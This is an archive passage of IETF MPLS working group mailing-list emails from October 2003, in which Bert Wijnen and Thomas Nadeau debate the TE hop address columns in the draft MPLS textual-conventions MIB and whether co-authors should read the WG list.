From owner-mpls@UU.NET  Wed Oct  1 04:55:32 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA03918
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 04:55:32 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpimt20544
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 08:55:37 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpimt20388;
	Wed, 1 Oct 2003 08:55:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpims03979
	for mpls-outgoing; Wed, 1 Oct 2003 08:36:43 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpims03965
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 08:36:31 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpims24961
	for <mpls@uu.net>; Wed, 1 Oct 2003 08:30:20 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpims09956
	for <mpls@uu.net>; Wed, 1 Oct 2003 08:30:20 GMT
Received: from auemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: auemail2.lucent.com [192.11.223.163])
	id QQpims09948
	for <mpls@uu.net>; Wed, 1 Oct 2003 08:30:19 GMT
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by auemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id h918UvC09840
	for <mpls@uu.net>; Wed, 1 Oct 2003 03:30:57 -0500 (CDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2656.59)
	id <TFQWQ2R4>; Wed, 1 Oct 2003 10:30:13 +0200
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B155028EC3AD@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: "'tnadeau@cisco.com'" <tnadeau@cisco.com>,
        "'Mpls (E-mail)'"
	 <mpls@UU.NET>
Cc: arunv@force10networks.com, hans@ipunplugged.com, jcucchiara@mindspring.com,
        cheenu@alumni.princeton.edu,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'"
	 <kireeti@juniper.net>, swallow@cisco.com,
        loa@pi.se, mrm@riverstone.net, zinin@psg.com, adrian@olddog.co.uk
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 10:30:11 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

[Do we need to keep the long cc: list if we post to MPLS WG list ??]

Thomas writes/responds:

> >> >> 	The reason why the multiple fields
> >> >> were left in place was because someone (Arun
> >> >> I think) pointed out that you may want to
> >> >> specify a hop address AND an AS number for
> >> >> the case where you want to get to a specific
> >> >> AS *through* a specific HOP.
> >> >> 
> >> >
> >> >a TeHopAddress can contain an AS number.
> >> >So if you have a separate field for AS number what would then
> >> >be in the TeHopAddress??? And why would you need two addesses
> >> >to get to one place? SOrry I am confused here
> >> 
> >> 	Because a hop can be identified by BOTH an
> >> AS number and an IP address. Suppose you want to
> >> choose an AS via a particular interface on an
> >> LSR?
> >> 
> >And an IP address on another interface?
> >Maybe that would mean two entries in the table??
> 
> 	Perhaps, but the example that was given
> for needing both was the one I gave above. No
> one has asked for what you suppose above.
> 

Tom, maybe you can be a bit more elaborate (and not assume that we
are all MPLS and TE Tunneling experts). PLEASE explain how a system
would use an entry that has both an AS number and another TeHopAddress
in an entry in the table. 

And if you feel that two columns are needed, then I would ask, why not
3 columns or maybe 4 columns. If you claim that one entry needs to
identify the next TeHop with both an IP address AND a AS number,
would one never want to be able to identify it by 
IP address (maybe an IPv4 AND and IPv6 address?), ASnumber, 
unnumbered, lspid ??? In other words, why do you have an arbitrary
set there.

Even if you did want it to be identifyable by 2 or 3 address types,
then I would create multiple "discriminated unions" by having multiple
pairs of TeHopAddressType/TeHopAddress columns.

Bert
> 	--Tom


From owner-mpls@UU.NET  Wed Oct  1 09:30:25 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11836
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 09:30:24 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinm24981
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 13:30:30 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpinm24873;
	Wed, 1 Oct 2003 13:30:26 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpink05143
	for mpls-outgoing; Wed, 1 Oct 2003 13:11:46 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpink05130
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 13:11:37 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpink00882
	for <mpls@uu.net>; Wed, 1 Oct 2003 13:04:50 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpink23366
	for <mpls@uu.net>; Wed, 1 Oct 2003 13:04:49 GMT
Received: from sj-iport-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpink23355
	for <mpls@uu.net>; Wed, 1 Oct 2003 13:04:49 GMT
Received: from cisco.com (171.68.223.137)
  by sj-iport-3.cisco.com with ESMTP; 01 Oct 2003 06:09:58 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.6/8.12.6) with ESMTP id h91D4iYb020378
	for <mpls@uu.net>; Wed, 1 Oct 2003 06:04:44 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU65810;
	Wed, 1 Oct 2003 09:04:43 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h91D4hQ16668 for mpls@uu.net; Wed, 1 Oct 2003 09:04:43 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpink00187
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 13:03:33 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpink23486
	for <mpls@uu.net>; Wed, 1 Oct 2003 13:01:44 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpink18178
	for <mpls@uu.net>; Wed, 1 Oct 2003 13:01:43 GMT
Received: from sj-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpink18156
	for <mpls@uu.net>; Wed, 1 Oct 2003 13:01:43 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h91D1b01015843;
	Wed, 1 Oct 2003 09:01:37 -0400 (EDT)
Received: from tnadeauw2k02 (che-vpn-cluster-2-80.cisco.com [10.86.242.80])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU65600;
	Wed, 1 Oct 2003 09:01:35 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Wijnen, Bert \(Bert\)'" <bwijnen@lucent.com>,
        "'Mpls \(E-mail\)'" <mpls@UU.NET>
Cc: <arunv@force10networks.com>, <hans@ipunplugged.com>,
        <jcucchiara@mindspring.com>, <cheenu@alumni.princeton.edu>,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'" <kireeti@juniper.net>, <swallow@cisco.com>,
        <loa@pi.se>, <mrm@riverstone.net>, <zinin@psg.com>,
        <adrian@olddog.co.uk>
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 09:01:35 -0400
Organization: Cisco Systems, inc.
Message-ID: <01ad01c3881c$2529bce0$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <7D5D48D2CAA3D84C813F5B154F43B155028EC3AD@nl0006exch001u.nl.lucent.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of Wijnen, Bert (Bert)
>Sent: Wednesday, October 01, 2003 4:30 AM
>To: 'tnadeau@cisco.com'; 'Mpls (E-mail)'
>Cc: arunv@force10networks.com; hans@ipunplugged.com; 
>jcucchiara@mindspring.com; cheenu@alumni.princeton.edu; 'Joan 
>Cucchiara x302'; 'Kireeti Kompella'; swallow@cisco.com; 
>loa@pi.se; mrm@riverstone.net; zinin@psg.com; adrian@olddog.co.uk
>Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
>
>
>[Do we need to keep the long cc: list if we post to MPLS WG list ??]

	Yes, some folks don't read MPLS@UU.NET any longer.

>Thomas writes/responds:
>
>> >> >> 	The reason why the multiple fields
>> >> >> were left in place was because someone (Arun
>> >> >> I think) pointed out that you may want to
>> >> >> specify a hop address AND an AS number for
>> >> >> the case where you want to get to a specific
>> >> >> AS *through* a specific HOP.
>> >> >> 
>> >> >
>> >> >a TeHopAddress can contain an AS number.
>> >> >So if you have a separate field for AS number what would then
>> >> >be in the TeHopAddress??? And why would you need two addesses
>> >> >to get to one place? SOrry I am confused here
>> >> 
>> >> 	Because a hop can be identified by BOTH an
>> >> AS number and an IP address. Suppose you want to
>> >> choose an AS via a particular interface on an
>> >> LSR?
>> >> 
>> >And an IP address on another interface?
>> >Maybe that would mean two entries in the table??
>> 
>> 	Perhaps, but the example that was given
>> for needing both was the one I gave above. No
>> one has asked for what you suppose above.
>> 
>
>Tom, maybe you can be a bit more elaborate (and not assume that we
>are all MPLS and TE Tunneling experts). PLEASE explain how a system
>would use an entry that has both an AS number and another TeHopAddress
>in an entry in the table. 

	I am not sure how much simpler I can make the 
example:  you want to include/exclude a HOP when
running CSPF for the head of a tunnel that has an AS 
number and an IP address of an LSR because you want 
to include or exclude a HOP from your final tunnel's 
ERO (i.e.: explicitly routed path).  In the more
common case, you only give CSPF an IP address or
an AS number of that HOP, but not both.

>And if you feel that two columns are needed, then I would ask, why not
>3 columns or maybe 4 columns. If you claim that one entry needs to
>identify the next TeHop with both an IP address AND a AS number,
>would one never want to be able to identify it by 
>IP address (maybe an IPv4 AND and IPv6 address?), ASnumber, 
>unnumbered, lspid ??? In other words, why do you have an arbitrary
>set there.

	No, I don't think so.  The two columns seem 
fine to handle %100 of the cases that were asked
for of the MIB. We spent quite a while going back and
forth to make sure that the descriptions made sure that
the objects were applicable when necessary (or not).
The rare case I explained above, and the more common 
(i.e.: %99 of the time) cases of either an AS number 
or the IP address of an LSR (but not both).  I don't think we 
need to go down the road of additional ways of addressing 
a HOP; the WG did not ask for those, just the three I
listed above.

>Even if you did want it to be identifyable by 2 or 3 address types,
>then I would create multiple "discriminated unions" by having multiple
>pairs of TeHopAddressType/TeHopAddress columns.

	We could. OTOH, the text and objects that are 
in the MIB now are described correctly, compile cleanly,
and achieve the same thing, so I would rather leave
things as they are than skin the cat yet another way
if it is okay with you. 8)

	--Tom




From owner-mpls@UU.NET  Wed Oct  1 10:12:31 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA14215
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 10:12:31 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpino09169
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 14:12:37 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpino09084;
	Wed, 1 Oct 2003 14:12:33 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpinn09224
	for mpls-outgoing; Wed, 1 Oct 2003 13:53:29 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpinn09212
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 13:53:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpinn13734
	for <mpls@UU.NET>; Wed, 1 Oct 2003 13:51:45 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinn09807
	for <mpls@UU.NET>; Wed, 1 Oct 2003 13:51:45 GMT
Received: from auemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: auemail2.lucent.com [192.11.223.163])
	id QQpinn09792
	for <mpls@UU.NET>; Wed, 1 Oct 2003 13:51:44 GMT
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by auemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id h91DqLC19593
	for <mpls@UU.NET>; Wed, 1 Oct 2003 08:52:22 -0500 (CDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2656.59)
	id <TFQWQQ0Y>; Wed, 1 Oct 2003 15:51:37 +0200
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B155028EC3BE@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: "'tnadeau@cisco.com'" <tnadeau@cisco.com>,
        "'Mpls (E-mail)'"
	 <mpls@UU.NET>
Cc: arunv@force10networks.com, hans@ipunplugged.com, jcucchiara@mindspring.com,
        cheenu@alumni.princeton.edu,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'"
	 <kireeti@juniper.net>, swallow@cisco.com,
        loa@pi.se, mrm@riverstone.net, zinin@psg.com, adrian@olddog.co.uk
Subject: Who SHOULD be Members of the WG mailing list !!??
Date: Wed, 1 Oct 2003 15:51:19 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Tom answers me:
> >
> >
> >[Do we need to keep the long cc: list if we post to MPLS WG list ??]
> 
> 	Yes, some folks don't read MPLS@UU.NET any longer.
>
Mmm... in my view I then have trouble considering them document
authors/editors for a WG document. Is that just me, or do I have
a weird view of how IETF WGs should work ???!!!

Bert 


From owner-mpls@UU.NET  Wed Oct  1 10:56:26 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA16398
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 10:56:26 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinr11006
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 14:56:31 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpinr10624;
	Wed, 1 Oct 2003 14:56:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpinq02659
	for mpls-outgoing; Wed, 1 Oct 2003 14:40:29 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpinq02652
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 14:40:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpinq06893
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:34:15 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinq23492
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:34:14 GMT
Received: from sj-iport-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQpinq23483
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:34:14 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-2.cisco.com with ESMTP; 01 Oct 2003 07:33:57 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h91EY85i027729
	for <mpls@uu.net>; Wed, 1 Oct 2003 10:34:10 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU73963;
	Wed, 1 Oct 2003 10:34:07 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h91EY7820685 for mpls@uu.net; Wed, 1 Oct 2003 10:34:07 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpinq02170
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 14:33:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpinp12307
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:29:24 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinp21023
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:29:23 GMT
Received: from sj-iport-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQpinp20977
	for <mpls@uu.net>; Wed, 1 Oct 2003 14:29:21 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-2.cisco.com with ESMTP; 01 Oct 2003 07:29:04 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h91ETD03004140;
	Wed, 1 Oct 2003 10:29:16 -0400 (EDT)
Received: from tnadeauw2k02 (che-vpn-cluster-2-80.cisco.com [10.86.242.80])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACU73485;
	Wed, 1 Oct 2003 10:29:12 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Wijnen, Bert \(Bert\)'" <bwijnen@lucent.com>,
        "'Mpls \(E-mail\)'" <mpls@UU.NET>
Cc: <arunv@force10networks.com>, <hans@ipunplugged.com>,
        <jcucchiara@mindspring.com>, <cheenu@alumni.princeton.edu>,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'" <kireeti@juniper.net>, <swallow@cisco.com>,
        <loa@pi.se>, <mrm@riverstone.net>, <zinin@psg.com>,
        <adrian@olddog.co.uk>
Subject: RE: Who SHOULD be Members of the WG mailing list !!??
Date: Wed, 1 Oct 2003 10:29:12 -0400
Organization: Cisco Systems, inc.
Message-ID: <01bc01c38828$62a31470$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <7D5D48D2CAA3D84C813F5B154F43B155028EC3BE@nl0006exch001u.nl.lucent.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of Wijnen, Bert (Bert)
>Sent: Wednesday, October 01, 2003 9:51 AM
>To: 'tnadeau@cisco.com'; 'Mpls (E-mail)'
>Cc: arunv@force10networks.com; hans@ipunplugged.com; 
>jcucchiara@mindspring.com; cheenu@alumni.princeton.edu; 'Joan 
>Cucchiara x302'; 'Kireeti Kompella'; swallow@cisco.com; 
>loa@pi.se; mrm@riverstone.net; zinin@psg.com; adrian@olddog.co.uk
>Subject: Who SHOULD be Members of the WG mailing list !!??
>
>
>Tom answers me:
>> >
>> >
>> >[Do we need to keep the long cc: list if we post to MPLS WG list ??]
>> 
>> 	Yes, some folks don't read MPLS@UU.NET any longer.
>>
>Mmm... in my view I then have trouble considering them document
>authors/editors for a WG document. Is that just me, or do I have
>a weird view of how IETF WGs should work ???!!!

	Some people have moved on to other activities that are
unrelated to MPLS and are depending on others like me to take 
the lead editing role (and dole out work to them as necessary). 
I won't name names, but those folks have been helpful/responsive 
when asked directly. They just don't have time to participate in 
the IETF MPLS mailing list.

	--Tom



>
>Bert 
>



From owner-mpls@UU.NET  Wed Oct  1 11:14:40 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17412
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 11:14:40 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpins25436
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 15:14:46 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpins25326;
	Wed, 1 Oct 2003 15:14:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpinr04501
	for mpls-outgoing; Wed, 1 Oct 2003 14:54:07 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpinr04477
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 14:53:54 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpinr27069
	for <mpls@UU.NET>; Wed, 1 Oct 2003 14:52:15 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinr12547
	for <mpls@UU.NET>; Wed, 1 Oct 2003 14:52:15 GMT
Received: from ihemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ihemail2.lucent.com [192.11.222.163])
	id QQpinr12539
	for <mpls@UU.NET>; Wed, 1 Oct 2003 14:52:14 GMT
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
	by ihemail2.firewall.lucent.com (Switch-2.2.8/Switch-2.2.0) with ESMTP id h91EqBt10307
	for <mpls@UU.NET>; Wed, 1 Oct 2003 09:52:11 -0500 (CDT)
Received: by nl0006exch001h.nl.lucent.com with Internet Mail Service (5.5.2656.59)
	id <TFQWQSWD>; Wed, 1 Oct 2003 16:52:09 +0200
Message-ID: <7D5D48D2CAA3D84C813F5B154F43B155028EC3C5@nl0006exch001u.nl.lucent.com>
From: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
To: "'tnadeau@cisco.com'" <tnadeau@cisco.com>,
        "'Mpls (E-mail)'"
	 <mpls@UU.NET>
Cc: arunv@force10networks.com, hans@ipunplugged.com, jcucchiara@mindspring.com,
        cheenu@alumni.princeton.edu,
        "'Joan Cucchiara x302'" <jcucchiara@Artel.com>,
        "'Kireeti Kompella'"
	 <kireeti@juniper.net>, swallow@cisco.com,
        loa@pi.se, mrm@riverstone.net, zinin@psg.com, adrian@olddog.co.uk
Subject: RE: draft-ietf-mpls-tc-mib-06a.txt
Date: Wed, 1 Oct 2003 16:52:09 +0200 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

W.r.t.
> >And if you feel that two columns are needed, then I would ask, why not
> >3 columns or maybe 4 columns. If you claim that one entry needs to
> >identify the next TeHop with both an IP address AND a AS number,
> >would one never want to be able to identify it by 
> >IP address (maybe an IPv4 AND and IPv6 address?), ASnumber, 
> >unnumbered, lspid ??? In other words, why do you have an arbitrary
> >set there.
> 
In fact, I see that you do have 3 extra columns in addition to
the TeHopAddress itself. 

See also my C-code example in other email.

Bert


From owner-mpls@UU.NET  Wed Oct  1 11:15:43 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17509
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 11:15:42 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpint09749
	for <mpls-archive@lists.ietf.org>; Wed, 1 Oct 2003 15:15:48 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpint09653;
	Wed, 1 Oct 2003 15:15:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpinr04827
	for mpls-outgoing; Wed, 1 Oct 2003 14:56:10 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpinr04724
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 1 Oct 2003 14:56:03 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpinr15790
	for <mpls@UU.NET>; Wed, 1 Oct 2003 14:50:04 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpinr22462
	for <mpls@UU.NET>; Wed, 1 Oct 2003 14:50:04 GMT
Received: from ihemail2.firewall.lucent.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ihemail2.lucent.com [192.11.222.163])
	id QQpinr22451
	for <mpls@UU.NET>; Wed, 1 Oct 2003 14:50:04 GMT
Received: from nl0006exch001h.wins.lucent.com (h135-85-76-62.lucent.com [135.85.76.62])
